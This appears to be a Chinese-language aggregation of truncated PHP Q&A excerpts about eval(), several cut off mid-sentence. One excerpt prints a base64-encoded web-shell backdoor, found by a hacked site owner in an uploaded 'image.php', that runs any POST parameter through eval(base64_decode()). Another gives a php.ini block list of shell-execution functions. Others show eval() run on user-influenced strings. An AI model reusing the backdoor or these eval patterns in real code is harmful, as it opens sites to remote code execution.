我正在创建一个验证器,它可以通过允许开发人员在条件规则中使用条件语句来处理复杂的条件。以一组规则为例:..."element_name":{"required":"conditional","conditions":{"requirements":"(4然后PHP将做的是遍历那些requirements并将它们评估为代码以返回一个bool值,该bool值将确定该元素是否是必需的。使用eval()函数的问题非常明显。所以我问,考虑到条件语句是唯一允许的,有没有比以下更安全的方法:$result=eval(element_name->requirements[0]);谢谢你们。----更新
我正在尝试像那样使用eval()函数:$foo='eval';$bar='echo1;';$foo($bar);但我收到一个错误:fatalerror:调用未定义的函数eval()这很奇怪,因为下面的代码是有效的$foo='base64_encode';$bar='foobar';echo$foo($bar);有人可以帮忙吗? 最佳答案 来自evaldocumentation:Note:Becausethisisalanguageconstructandnotafunction,itcannotbecalledusingvariab
作为背景,我正在编写用于解析csv文件并对每个csv文件的每一行执行某些操作的php代码。“内容”取决于行中的值。使用“if”结构测试值很容易,但是,硬编码条件并不是最佳的两个原因:有数百种可能的条件需要测试。这只是开始。将来会增加更多条件。不需要为每个条件测试每个csv行;只要行的条件评估为真,就无需评估其他条件。理想情况下,对于我的情况,“if”条件将存储在postgres表中,一个接一个地放入字符串变量中,然后每个变量将由单个if结构(在某种类型的循环内)进行测试,直到出现一个条件评估为true。简化示例:$arrayOne[3]="foo";//inpractice,theva
我有一个完全自定义的PHP站点,其中包含大量数据库调用。我刚刚被注入(inject)黑客攻击。下面的这一小段代码出现在我的许多PHP页面中。我对我的SQL调用等非常小心;它们都是这种格式:$query=sprintf("UPDATESalesSET`Shipped`='1',`Tracking_Number`='%s'WHEREID='%s'LIMIT1;",mysql_real_escape_string($trackNo),mysql_real_escape_string($id));$result=mysql_query($query);mysql_close();郑重声明,我很
关于eval()作为函数的官方文档说:Amongotherthings,thiscanbeusefulforstoringcodeinadatabasetextfieldforlaterexecution.我对此非常困惑。PHP文档是否建议将PHP行存储到数据库中?什么?这不是很不安全吗?如果我知道数据库中有一个作为PHP执行的字符串怎么办?那不是特别危险吗?我只需要一个Sql注入(inject)来对该网站做任何我想做的事,我想做的事。我可以删除整个数据库,我可以从脚本中获取所有内容,我可以做任何事情。这怎么会有这么大的帮助?能否请您提供一些示例,说明此eval()有何用处?另外,我可
我在试图禁用我的php.ini中的某些功能时遇到了一个小问题。首先,我不是服务器的所有者,所以我无法更改主php.ini配置。但是我试图用服务器所有者给我的指令来改变它。这是我在我创建的php.ini文件中放入的行disable_functions=eval,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source在我的phpinfo()中,我可以在本地值和主值中看到这些功能被禁用。但我的问题从这里开始。在女巫的同一个文件中,我运行phpinf
我在当前项目中使用eval()是这样的:if(class_exists($class_name))//$class_namedependsonuserinputeval($class_name.'::MyStaticMethod()');eval()当且仅当名称为$class_name的类存在时执行,所以它有点安全,但我仍然认为这不是最好的解决方案。在没有eval()的情况下,我是否可以像上面的代码那样做? 最佳答案 我最近回答了thisquestion.myanswer的最后一部分完美地回答了这个问题,并且比这里提供的答案对fut
好的,这是我用Google搜索的内容:似乎在qcubed目录中上传了一个名为“image.php”的上传文件。该image.php文件包含以下base64代码:aWYoaXNzZXQoJF9QT1NUWydlJ10pKWV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2UnXSkpO2VjaG8gJzMxMzkzNjJlMzIzMzMxMmQzMTM3MzIyZTMyMzgzYTY5NjY2MTYzNjU3MjZkNzA3NTYyNmQ2OTYzNjUzYTYxNjY2MTYzMzQzMjY1NzI2OTMwMzInOw==解码它添加到这个:if(isset($_
概览我目前正在编写一个模板引擎。它甚至支持多种“格式”。目前它可以解析.php文件和.tpl(特定于此引擎)。我会给你一个关于两者的小例子,只是为了给你一个想法。模板.php:Name:h($name)?>Posts:-h($post->name)?>(comments)?>comments)render('post/shortpost',array('post'=>$post))?>这基本上只是一个标准的PHP。模板.tplName:{>$name}Posts:{foreach($postsas$post):}-{>$post->name}({=count($post->commen
我不想问这样一个具体的问题,但我遇到了一个我无法弄清楚的错误。这是一个按小时运行的cron作业。我正在创建一组任务,每个任务都有一个日期检查,应该是eval()。$todo=array();$todo[]=array("date('z')%3==0","Task1");$todo[]=array("date('N')==1","Task2");foreach($todoas$task){if(eval($task[0])){echo$task[1];}}出于某种原因,eval()行给我这个错误。请注意,我在这两项任务中都遇到了这个错误。Parseerror:syntaxerror,un